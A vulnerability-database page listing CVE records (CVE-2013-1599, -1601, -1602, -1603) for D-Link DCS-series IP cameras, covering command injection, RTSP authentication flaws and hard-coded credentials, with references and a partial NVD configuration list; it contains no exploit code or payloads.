Vulnerabilites related to dlink - dcs-3411
cve-2013-1601
Vulnerability from cvelistv5
Published
2020-01-28 20:50
Modified
2024-08-06 15:04
Severity ?
Summary
An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03, which could let a malicious user obtain sensitive information. which could let a malicious user obtain sensitive information.
Impacted products
Vendor Product Version
n/a n/a Version: n/a
Show details on NVD website


{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-06T15:04:49.526Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "http://www.securityfocus.com/bid/59570"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83939"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1601"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://vuldb.com/?id.8573"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "datePublic": "2013-04-29T00:00:00",
      "descriptions": [
        {
          "lang": "en",
          "value": "An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03, which could let a malicious user obtain sensitive information. which could let a malicious user obtain sensitive information."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2020-01-28T20:50:37",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "http://www.securityfocus.com/bid/59570"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83939"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1601"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://vuldb.com/?id.8573"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "cve@mitre.org",
          "ID": "CVE-2013-1601",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "n/a",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "n/a"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "n/a"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03, which could let a malicious user obtain sensitive information. which could let a malicious user obtain sensitive information."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "n/a"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "http://www.securityfocus.com/bid/59570",
              "refsource": "MISC",
              "url": "http://www.securityfocus.com/bid/59570"
            },
            {
              "name": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83939",
              "refsource": "MISC",
              "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83939"
            },
            {
              "name": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities",
              "refsource": "MISC",
              "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
            },
            {
              "name": "https://packetstormsecurity.com/files/cve/CVE-2013-1601",
              "refsource": "MISC",
              "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1601"
            },
            {
              "name": "https://vuldb.com/?id.8573",
              "refsource": "MISC",
              "url": "https://vuldb.com/?id.8573"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2013-1601",
    "datePublished": "2020-01-28T20:50:37",
    "dateReserved": "2013-02-04T00:00:00",
    "dateUpdated": "2024-08-06T15:04:49.526Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

cve-2013-1602
Vulnerability from cvelistv5
Published
2020-01-28 21:13
Modified
2024-08-06 15:04
Severity ?
Summary
An Information Disclosure vulnerability exists due to insufficient validation of authentication cookies for the RTSP session in D-Link DCS-5635 1.01, DCS-1100L 1.04, DCS-1130L 1.04, DCS-1100 1.03/1.04_US, DCS-1130 1.03/1.04_US , DCS-2102 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-2121 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.0, DCS-7410 1.0, DCS-7510 1.0, and WCS-1100 1.02, which could let a malicious user obtain unauthorized access to video streams.
Impacted products
Vendor Product Version
n/a n/a Version: n/a
Show details on NVD website


{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-06T15:04:49.536Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "http://www.securityfocus.com/bid/59569"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83942"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1602"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "datePublic": "2013-04-29T00:00:00",
      "descriptions": [
        {
          "lang": "en",
          "value": "An Information Disclosure vulnerability exists due to insufficient validation of authentication cookies for the RTSP session in D-Link DCS-5635 1.01, DCS-1100L 1.04, DCS-1130L 1.04, DCS-1100 1.03/1.04_US, DCS-1130 1.03/1.04_US , DCS-2102 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-2121 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.0, DCS-7410 1.0, DCS-7510 1.0, and WCS-1100 1.02, which could let a malicious user obtain unauthorized access to video streams."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2020-01-28T21:13:06",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "http://www.securityfocus.com/bid/59569"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83942"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1602"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "cve@mitre.org",
          "ID": "CVE-2013-1602",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "n/a",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "n/a"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "n/a"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "An Information Disclosure vulnerability exists due to insufficient validation of authentication cookies for the RTSP session in D-Link DCS-5635 1.01, DCS-1100L 1.04, DCS-1130L 1.04, DCS-1100 1.03/1.04_US, DCS-1130 1.03/1.04_US , DCS-2102 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-2121 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.0, DCS-7410 1.0, DCS-7510 1.0, and WCS-1100 1.02, which could let a malicious user obtain unauthorized access to video streams."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "n/a"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "http://www.securityfocus.com/bid/59569",
              "refsource": "MISC",
              "url": "http://www.securityfocus.com/bid/59569"
            },
            {
              "name": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83942",
              "refsource": "MISC",
              "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83942"
            },
            {
              "name": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities",
              "refsource": "MISC",
              "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
            },
            {
              "name": "https://packetstormsecurity.com/files/cve/CVE-2013-1602",
              "refsource": "MISC",
              "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1602"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2013-1602",
    "datePublished": "2020-01-28T21:13:06",
    "dateReserved": "2013-02-04T00:00:00",
    "dateUpdated": "2024-08-06T15:04:49.536Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

cve-2013-1599
Vulnerability from cvelistv5
Published
2020-01-28 19:54
Modified
2024-08-06 15:04
Severity ?
Summary
A Command Injection vulnerability exists in the /var/www/cgi-bin/rtpd.cgi script in D-Link IP Cameras DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L/1130L 1.04, DCS-1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00, and WCS-1100 1.02, which could let a remote malicious user execute arbitrary commands through the camera’s web interface.
Impacted products
Vendor Product Version
n/a n/a Version: n/a
Show details on NVD website


{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-06T15:04:49.672Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "http://www.securityfocus.com/bid/59564"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "http://www.exploit-db.com/exploits/25138"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83941"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1599"
          },
          {
            "name": "CORE-2013-0303 - D-Link IP Cameras Multiple Vulnerabilities",
            "tags": [
              "mailing-list",
              "x_refsource_FULLDISC",
              "x_transferred"
            ],
            "url": "https://seclists.org/fulldisclosure/2013/Apr/253"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "datePublic": "2013-04-29T00:00:00",
      "descriptions": [
        {
          "lang": "en",
          "value": "A Command Injection vulnerability exists in the /var/www/cgi-bin/rtpd.cgi script in D-Link IP Cameras DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L/1130L 1.04, DCS-1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00, and WCS-1100 1.02, which could let a remote malicious user execute arbitrary commands through the camera\u2019s web interface."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2020-01-28T19:54:43",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "http://www.securityfocus.com/bid/59564"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "http://www.exploit-db.com/exploits/25138"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83941"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1599"
        },
        {
          "name": "CORE-2013-0303 - D-Link IP Cameras Multiple Vulnerabilities",
          "tags": [
            "mailing-list",
            "x_refsource_FULLDISC"
          ],
          "url": "https://seclists.org/fulldisclosure/2013/Apr/253"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "cve@mitre.org",
          "ID": "CVE-2013-1599",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "n/a",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "n/a"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "n/a"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "A Command Injection vulnerability exists in the /var/www/cgi-bin/rtpd.cgi script in D-Link IP Cameras DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L/1130L 1.04, DCS-1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00, and WCS-1100 1.02, which could let a remote malicious user execute arbitrary commands through the camera\u2019s web interface."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "n/a"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "http://www.securityfocus.com/bid/59564",
              "refsource": "MISC",
              "url": "http://www.securityfocus.com/bid/59564"
            },
            {
              "name": "http://www.exploit-db.com/exploits/25138",
              "refsource": "MISC",
              "url": "http://www.exploit-db.com/exploits/25138"
            },
            {
              "name": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83941",
              "refsource": "MISC",
              "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83941"
            },
            {
              "name": "https://packetstormsecurity.com/files/cve/CVE-2013-1599",
              "refsource": "MISC",
              "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1599"
            },
            {
              "name": "CORE-2013-0303 - D-Link IP Cameras Multiple Vulnerabilities",
              "refsource": "FULLDISC",
              "url": "https://seclists.org/fulldisclosure/2013/Apr/253"
            },
            {
              "name": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities",
              "refsource": "MISC",
              "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2013-1599",
    "datePublished": "2020-01-28T19:54:43",
    "dateReserved": "2013-02-04T00:00:00",
    "dateUpdated": "2024-08-06T15:04:49.672Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

cve-2013-1603
Vulnerability from cvelistv5
Published
2020-01-28 21:28
Modified
2024-08-06 15:04
Severity ?
Summary
An Authentication vulnerability exists in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03 due to hard-coded credentials that serve as a backdoor, which allows remote attackers to access the RTSP video stream.
Impacted products
Vendor Product Version
n/a n/a Version: n/a
Show details on NVD website


{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-06T15:04:49.528Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "http://www.securityfocus.com/bid/59571"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83940"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://vuldb.com/?id.8575"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1603"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "datePublic": "2013-04-29T00:00:00",
      "descriptions": [
        {
          "lang": "en",
          "value": "An Authentication vulnerability exists in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03 due to hard-coded credentials that serve as a backdoor, which allows remote attackers to access the RTSP video stream."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2020-01-28T21:28:28",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "http://www.securityfocus.com/bid/59571"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83940"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://vuldb.com/?id.8575"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1603"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "cve@mitre.org",
          "ID": "CVE-2013-1603",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "n/a",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "n/a"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "n/a"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "An Authentication vulnerability exists in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03 due to hard-coded credentials that serve as a backdoor, which allows remote attackers to access the RTSP video stream."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "n/a"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "http://www.securityfocus.com/bid/59571",
              "refsource": "MISC",
              "url": "http://www.securityfocus.com/bid/59571"
            },
            {
              "name": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83940",
              "refsource": "MISC",
              "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83940"
            },
            {
              "name": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities",
              "refsource": "MISC",
              "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
            },
            {
              "name": "https://vuldb.com/?id.8575",
              "refsource": "MISC",
              "url": "https://vuldb.com/?id.8575"
            },
            {
              "name": "https://packetstormsecurity.com/files/cve/CVE-2013-1603",
              "refsource": "MISC",
              "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1603"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2013-1603",
    "datePublished": "2020-01-28T21:28:28",
    "dateReserved": "2013-02-04T00:00:00",
    "dateUpdated": "2024-08-06T15:04:49.528Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Vulnerability from fkie_nvd
Published
2020-01-28 22:15
Modified
2024-11-21 01:49
Summary
An Information Disclosure vulnerability exists due to insufficient validation of authentication cookies for the RTSP session in D-Link DCS-5635 1.01, DCS-1100L 1.04, DCS-1130L 1.04, DCS-1100 1.03/1.04_US, DCS-1130 1.03/1.04_US , DCS-2102 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-2121 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.0, DCS-7410 1.0, DCS-7510 1.0, and WCS-1100 1.02, which could let a malicious user obtain unauthorized access to video streams.



{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-3411_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "21E4F54E-78BD-4963-88C0-6B6F9D751C4B",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-3411:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "5A0A639C-EC97-4CF6-B853-B9CE3EEDF399",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-3430_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "3595919A-23A4-42D7-BC22-9AA3E5F196E2",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-3430:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "0337488F-E15D-497E-855F-7719D4809433",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-5605_firmware:1.01:*:*:*:*:*:*:*",
              "matchCriteriaId": "0C400977-3E3C-4010-8EFE-75F30180FF22",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-5605:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "8B92CB5D-CD8E-4768-91CE-C3497C8EA58A",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-5635_firmware:1.01:*:*:*:*:*:*:*",
              "matchCriteriaId": "76933BB0-E0C2-4F81-9B28-879EDAC49302",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-5635:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "CCFFD6C7-9379-4197-B447-1C755E6636AB",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1100l_firmware:1.04:*:*:*:*:*:*:*",
              "matchCriteriaId": "E0FD5F42-72DD-47F4-ABDD-E0E4D0D1754A",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-1100l:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "70D1E7AB-C4EA-4B97-B788-944244777CFF",
